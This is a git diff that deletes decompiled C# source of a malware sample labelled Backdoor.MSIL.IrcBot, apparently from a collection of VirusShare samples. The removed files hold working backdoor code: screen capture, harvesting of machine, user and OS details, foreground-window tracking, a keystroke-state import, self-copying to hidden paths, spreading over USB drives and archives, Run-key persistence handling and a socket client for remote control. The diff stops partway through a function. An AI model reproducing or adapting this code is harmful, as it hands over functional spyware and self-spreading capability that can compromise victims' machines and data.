- sc.Gd((int) Math.Round((double) sc.W / (double) sc.WW), (int) Math.Round((double) sc.H / (double) sc.HH)).Save((Stream) memoryStream, encoderInfo, encoderParams);
- return memoryStream.ToArray();
- }
-
- public static ImageCodecInfo GetEncoderInfo(string mimeType)
- {
- ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
- int length = imageEncoders.Length;
- for (int index = 0; index <= length; ++index)
- {
- if (Operators.CompareString(imageEncoders[index].MimeType, mimeType, false) == 0)
- return imageEncoders[index];
- }
- return (ImageCodecInfo) null;
- }
-
- public static Image Gd(int Wi = 0, int He = 0, bool Sh = true)
- {
- Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap);
- Graphics graphics2 = graphics1;
- Size size1;
- ref Size local1 = ref size1;
- int width = Screen.PrimaryScreen.Bounds.Width;
- Rectangle bounds = Screen.PrimaryScreen.Bounds;
- int height = bounds.Height;
- local1 = new Size(width, height);
- Size blockRegionSize = size1;
- graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy);
- if (Sh)
- {
- Cursor cursor = Cursors.Default;
- Graphics g = graphics1;
- ref Rectangle local2 = ref bounds;
- Point position = Cursor.Position;
- size1 = new Size(32, 32);
- Size size2 = size1;
- local2 = new Rectangle(position, size2);
- Rectangle targetRect = bounds;
- cursor.Draw(g, targetRect);
- }
- graphics1.Dispose();
- if (Wi == 0 & He == 0)
- {
- sc.Image = (Image) bitmap;
- return (Image) bitmap;
- }
- Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap.Dispose();
- return thumbnailImage;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs
deleted file mode 100644
index ea92749b..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs
+++ /dev/null
@@ -1,104 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.A
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.IO;
-using System.Runtime.CompilerServices;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- public class A
- {
- [AccessedThroughProperty("B")]
- private BackgroundWorker _B;
- public static Process fj = new Process();
- private string u;
- private string z;
-
- public A()
- {
- this.B = new BackgroundWorker();
- this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs";
- string q = n.My.Resources.Resources.Q;
- this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id));
- }
-
- public virtual BackgroundWorker B
- {
- get => this._B;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D());
- if (this._B != null)
- this._B.DoWork -= workEventHandler;
- this._B = value;
- if (this._B == null)
- return;
- this._B.DoWork += workEventHandler;
- }
- }
-
- public void D()
- {
-label_0:
- try
- {
- File.WriteAllText(this.u, this.z);
- A.fj.StartInfo.FileName = this.u;
- A.fj.Start();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- do
- {
- try
- {
- ref byte[] local1 = ref C.Plug;
- string str1 = "plugin.C";
- ref string local2 = ref str1;
- string str2 = "Fwd";
- ref string local3 = ref str2;
- object obj = (object) new object[1]
- {
- (object) "Windows Script Host"
- };
- ref object local4 = ref obj;
- if (Operators.ConditionalCompareObjectGreater(C.inv(ref local1, ref local2, ref local3, ref local4), (object) 0, false))
- {
- A.fj.Kill();
- try
- {
- File.Delete(this.u);
- return;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(100);
- }
- while (!A.fj.WaitForExit(100));
- goto label_0;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs
deleted file mode 100644
index fc2a987e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/API.cs
+++ /dev/null
@@ -1,281 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.API
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.MyServices;
-using n.My;
-using System;
-using System.Collections;
-using System.Diagnostics;
-using System.IO;
-using System.IO.Compression;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace n
-{
- [StandardModule]
- internal sealed class API
- {
- private const uint LOCALE_SYSTEM_DEFAULT = 1024;
- private const uint LOCALE_SABBREVCTRYNAME = 7;
-
- public static string fx(ref Array A)
- {
- string str1;
- try
- {
- foreach (object obj in A)
- {
- string str2 = Conversions.ToString(obj);
- bool flag;
- if (Strings.InStr(str2, "Local Address") > 0)
- flag = true;
- else if (flag)
- {
- string str3;
- if (Operators.CompareString(str2, "", false) == 0)
- {
- str1 = Strings.Mid(str3, 1, str3.Length - 1);
- break;
- }
- do
- {
- str2 = Strings.Replace(str2, " ", " ");
- }
- while (Strings.InStr(str2, " ") > 0);
- string[] strArray = Strings.Split(str2);
- string str4;
- try
- {
- str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1] + ":" + strArray[5];
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5];
- ProjectData.ClearProjectError();
- }
- str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!";
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- return str1;
- }
-
- public static string Gt()
- {
- Process process = Process.Start(new ProcessStartInfo()
- {
- UseShellExecute = false,
- RedirectStandardError = true,
- RedirectStandardInput = true,
- RedirectStandardOutput = true,
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true,
- FileName = "cmd"
- });
- process.StandardInput.WriteLine("netstat -o");
- process.StandardInput.WriteLine("exit");
- StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream);
- Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n");
- return API.fx(ref A);
- }
-
- public static byte[] ZIP(byte[] Byt, ref bool Compress)
- {
- if (Compress)
- {
- MemoryStream memoryStream = new MemoryStream();
- GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true);
- gzipStream.Write(Byt, 0, Byt.Length);
- gzipStream.Dispose();
- memoryStream.Position = 0L;
- byte[] buffer = new byte[(int) memoryStream.Length + 1];
- memoryStream.Read(buffer, 0, buffer.Length);
- memoryStream.Dispose();
- return buffer;
- }
- MemoryStream memoryStream1 = new MemoryStream(Byt);
- GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress);
- byte[] buffer1 = new byte[4];
- memoryStream1.Position = memoryStream1.Length - 5L;
- memoryStream1.Read(buffer1, 0, 4);
- int int32 = BitConverter.ToInt32(buffer1, 0);
- memoryStream1.Position = 0L;
- byte[] array = new byte[int32 - 1 + 1];
- gzipStream1.Read(array, 0, int32);
- gzipStream1.Dispose();
- memoryStream1.Dispose();
- return array;
- }
-
- public static string FEN(byte[] data) => Convert.ToBase64String(data);
-
- public static byte[] FDE(string base64) => Convert.FromBase64String(base64);
-
- public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
-
- public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s));
-
- [DllImport("kernel32.dll")]
- private static extern int GetLocaleInfo(
- uint Locale,
- uint LCType,
- [Out] StringBuilder lpLCData,
- int cchData);
-
- private static string Gcc(uint lInfo)
- {
- StringBuilder lpLCData = new StringBuilder(256);
- int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity);
- return localeInfo > 0 ? lpLCData.ToString().Substring(0, localeInfo - 1) : string.Empty;
- }
-
- public static string Gc() => API.Gcc(7U);
-
- public static string A0()
- {
- RegistryProxy registry = MyProject.Computer.Registry;
- string str1 = B.PC + "\r\n";
- string str2;
- try
- {
- str2 = str1 + API.Gc() + "\r\n";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str2 = str1 + "X\r\n";
- ProjectData.ClearProjectError();
- }
- string str3;
- try
- {
- str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str3 = str2 + "X\r\n";
- ProjectData.ClearProjectError();
- }
- string str4;
- try
- {
- foreach (string valueName in MyProject.Computer.Registry.CurrentUser.GetValueNames())
- {
- if (Operators.CompareString(valueName, "p", false) == 0)
- {
- str4 = str3 + "Yes\r\n";
- goto label_12;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- str4 = str3 + "No\r\n";
-label_12:
- string Expression = str4 + B.ver;
- string str5;
- try
- {
- str5 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " ");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str5 = Expression + "X\r\n";
- ProjectData.ClearProjectError();
- }
- return str5 + "\r\n \r\n ";
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetForegroundWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowTextLength(long hwnd);
-
- public static string A1(ref bool p)
- {
- string str1;
- try
- {
- IntPtr foregroundWindow = API.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- str1 = "";
- }
- else
- {
- int windowTextLength = API.GetWindowTextLength((long) foregroundWindow);
- string str2 = Strings.StrDup(windowTextLength + 1, "*");
- API.GetWindowText(foregroundWindow, ref str2, windowTextLength + 1);
- int lpdwProcessID;
- API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID);
- if (lpdwProcessID == 0)
- {
- str1 = API.ENB(ref str2);
- }
- else
- {
- try
- {
- string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle;
- str1 = API.ENB(ref mainWindowTitle);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = API.ENB(ref str2);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = "";
- ProjectData.ClearProjectError();
- }
- return str1;
- }
-
- public class wd
- {
- public const int HIDE = 0;
- public const int Normal = 1;
- public const int Minimized = 2;
- public const int Maximized = 3;
- public const int Show = 5;
- public const int RESTORE = 9;
- public int hWnd;
-
- public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A);
-
- [DllImport("User32")]
- public static extern int ShowWindow(int hwnd, int nCmdShow);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs
deleted file mode 100644
index d6825f03..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/AssemblyInfo.cs
+++ /dev/null
@@ -1,13 +0,0 @@
-using System.Reflection;
-using System.Runtime.InteropServices;
-
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("")]
-[assembly: AssemblyCopyright("")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyTitle("")]
-[assembly: AssemblyFileVersion("0.0.0.0")]
-[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")]
-[assembly: ComVisible(false)]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs
deleted file mode 100644
index 44b3628f..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.cs
+++ /dev/null
@@ -1,1309 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.B
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.Devices;
-using Microsoft.Win32;
-using n.My;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Net;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [DesignerGenerated]
- public class B : Form
- {
- private IContainer components;
- [AccessedThroughProperty("fs")]
- private FileSystemWatcher _fs;
- public static bool Fw = false;
- public static bool FT = false;
- public static bool netsh;
- public static bool isFT;
- public static bool KON;
- public static string Vname = "VmljdGlt";
- public static RegistryKey Nkey;
- public static bool DS;
- public static string PC = "X";
- public static string ver = "1.4.8";
- public static string exename;
- private string LA;
- public static bool ISEND;
- public A BW;
- public static bool Busy;
- public static bool Rec;
- public static string XRec = "";
- public static int ms;
- [AccessedThroughProperty("WC")]
- private SocketsClient _WC;
- [AccessedThroughProperty("wL")]
- private System.Windows.Forms.Timer _wL;
- [AccessedThroughProperty("k")]
- private System.Windows.Forms.Timer _k;
- public static string no = "127.0.0.1:7";
- public static string Ai;
- public static string SU = "*";
- public static bool UU;
- public static string Uo = "*";
- public static string Ui = "*";
- public static string spread = "*";
- public static string mU = "*";
- public static string FR;
- public static string Cht;
- private int c2;
- private int cc;
- private int c0;
- public static Mutex jMutex;
- public static chat Chat;
- private string IP;
- private static string[] Block = new string[1000000];
- private static int inx;
- private static int err;
-
- public B()
- {
- this.FormClosing += new FormClosingEventHandler(this.B_FormClosing);
- this.Load += new EventHandler(this.B_Load);
- this.BW = new A();
- this.WC = new SocketsClient();
- this.wL = new System.Windows.Forms.Timer();
- this.k = new System.Windows.Forms.Timer();
- this.InitializeComponent();
- }
-
- [STAThread]
- public static void Main() => Application.Run((Form) MyProject.Forms.B);
-
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (!disposing || this.components == null)
- return;
- this.components.Dispose();
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
-
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.fs = new FileSystemWatcher();
- this.fs.BeginInit();
- this.SuspendLayout();
- this.fs.IncludeSubdirectories = true;
- this.fs.SynchronizingObject = (ISynchronizeInvoke) this;
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.ClientSize = new Size(10, 10);
- this.FormBorderStyle = FormBorderStyle.None;
- this.MaximizeBox = false;
- this.MinimizeBox = false;
- this.Name = nameof (B);
- this.Opacity = 0.0;
- this.ShowIcon = false;
- this.ShowInTaskbar = false;
- this.WindowState = FormWindowState.Minimized;
- this.fs.EndInit();
- this.ResumeLayout(false);
- }
-
- internal virtual FileSystemWatcher fs
- {
- get => this._fs;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created);
- if (this._fs != null)
- this._fs.Created -= systemEventHandler;
- this._fs = value;
- if (this._fs == null)
- return;
- this._fs.Created += systemEventHandler;
- }
- }
-
- public virtual SocketsClient WC
- {
- get => this._WC;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3);
- SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2);
- SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1);
- SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0);
- if (this._WC != null)
- {
- this._WC.onDataArrival -= arrivalEventHandler;
- this._WC.onDisconnect -= disconnectEventHandler;
- this._WC.onError -= errorEventHandler;
- this._WC.onConnect -= connectEventHandler;
- }
- this._WC = value;
- if (this._WC == null)
- return;
- this._WC.onDataArrival += arrivalEventHandler;
- this._WC.onDisconnect += disconnectEventHandler;
- this._WC.onError += errorEventHandler;
- this._WC.onConnect += connectEventHandler;
- }
- }
-
- public virtual System.Windows.Forms.Timer wL
- {
- get => this._wL;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_());
- if (this._wL != null)
- this._wL.Tick -= eventHandler;
- this._wL = value;
- if (this._wL == null)
- return;
- this._wL.Tick += eventHandler;
- }
- }
-
- public virtual System.Windows.Forms.Timer k
- {
- get => this._k;
- [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value;
- }
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetAsyncKeyState(long vKey);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int SetProcessWorkingSetSize(
- IntPtr process,
- int minimumWorkingSetSize,
- int maximumWorkingSetSize);
-
- public static void E()
- {
- try
- {
- while (true)
- {
- do
- {
- Thread.Sleep(10000);
- GC.Collect();
- GC.WaitForPendingFinalizers();
- }
- while (Environment.OSVersion.Platform != PlatformID.Win32NT);
- B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void CL()
- {
- B.KON = false;
- B.Busy = false;
- try
- {
- chat.clos = true;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void B_FormClosing(object sender, FormClosingEventArgs e)
- {
- if (e.CloseReason == CloseReason.WindowsShutDown)
- ProjectData.EndApp();
- else
- e.Cancel = true;
- }
-
- public void R()
- {
- MemoryStream memoryStream1 = new MemoryStream();
- Array Instance1 = (Array) System.IO.File.ReadAllBytes(Application.ExecutablePath);
- int num1 = Instance1.Length - 400;
- int num2 = Instance1.Length - 1;
- for (int index = num1; index <= num2; ++index)
- {
- int num3;
- if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 1)
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 2)
- }, (string[]) null)))), "***", false) == 0)
- num3 = index + 1;
- int num4;
- if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 1)
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 2)
- }, (string[]) null)))), "^^^", false) == 0)
- num4 = index - 3;
- if (num3 > 0 & num4 == 0)
- memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)));
- }
- byte[] array1 = memoryStream1.ToArray();
- MemoryStream memoryStream2 = new MemoryStream();
- memoryStream2.Write(array1, 1, array1.Length - 3);
- Encoding encoding = Encoding.Default;
- byte[] array2 = memoryStream2.ToArray();
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(array2, ref local);
- Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y);
- B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 0
- }, (string[]) null));
- B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 1
- }, (string[]) null));
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "*", false))
- {
- B.Ai = "*";
- }
- else
- {
- B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[0];
- if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0)
- {
- try
- {
- if (System.IO.File.Exists(B.Ai))
- System.IO.File.Delete(B.Ai);
- System.IO.File.Copy(Application.ExecutablePath, B.Ai, true);
- try
- {
- System.IO.File.SetAttributes(B.Ai, FileAttributes.Hidden);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[2][0]), "T", false) == 0)
- {
- string ai = B.Ai;
- string executablePath = Application.ExecutablePath;
- string arguments = "Kill@" + API.ENB(ref executablePath);
- Process.Start(ai, arguments);
- }
- else
- Process.Start(B.Ai);
- ProjectData.EndApp();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.EndApp();
- ProjectData.ClearProjectError();
- }
- }
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 3
- }, (string[]) null), (object) "^", false))
- B.UU = true;
- if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 4
- }, (string[]) null)), "*") == 0)
- {
- B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 4
- }, (string[]) null));
- new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo);
- B.spread = "(" + B.Uo + ")USB,";
- }
- B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 5
- }, (string[]) null));
- try
- {
- Mutex.OpenExisting(B.mU);
- ProjectData.EndApp();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- B.jMutex = new Mutex(true, B.mU);
- if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 6
- }, (string[]) null), (object) "*", false))
- {
- B.spread += "Rar,Zip";
- B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 6
- }, (string[]) null));
- this.fs.Path = Interaction.Environ("homedrive") + "\\";
- this.fs.EnableRaisingEvents = true;
- }
- }
- B.Fw = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 9
- }, (string[]) null), (object) "^", false);
- Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 8
- }, (string[]) null)));
- B.Nkey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 8
- }, (string[]) null)), true);
- B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 7
- }, (string[]) null))));
- }
-
- private void B_Load(object sender, EventArgs e)
- {
- try
- {
- B.exename = Process.GetCurrentProcess().ProcessName;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.exename = "!";
- ProjectData.ClearProjectError();
- }
- try
- {
- Control.CheckForIllegalCrossThreadCalls = false;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- byte[] plugin = n.My.Resources.Resources.plugin;
- bool flag = false;
- ref bool local = ref flag;
- C.Plug = API.ZIP(plugin, ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.PC = Environment.MachineName + "\\" + Environment.UserName;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.Hide();
- this.Visible = false;
- B.Rec = false;
- try
- {
- string Expression = Interaction.Command();
- if (Expression.Length > 0)
- {
- Array Instance1 = (Array) Strings.Split(Expression, "@");
- object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 0
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false))
- {
- Thread.Sleep(100);
- try
- {
- Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null))).Kill();
- foreach (Process process in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- System.IO.File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- }
- catch (Exception ex)
- {
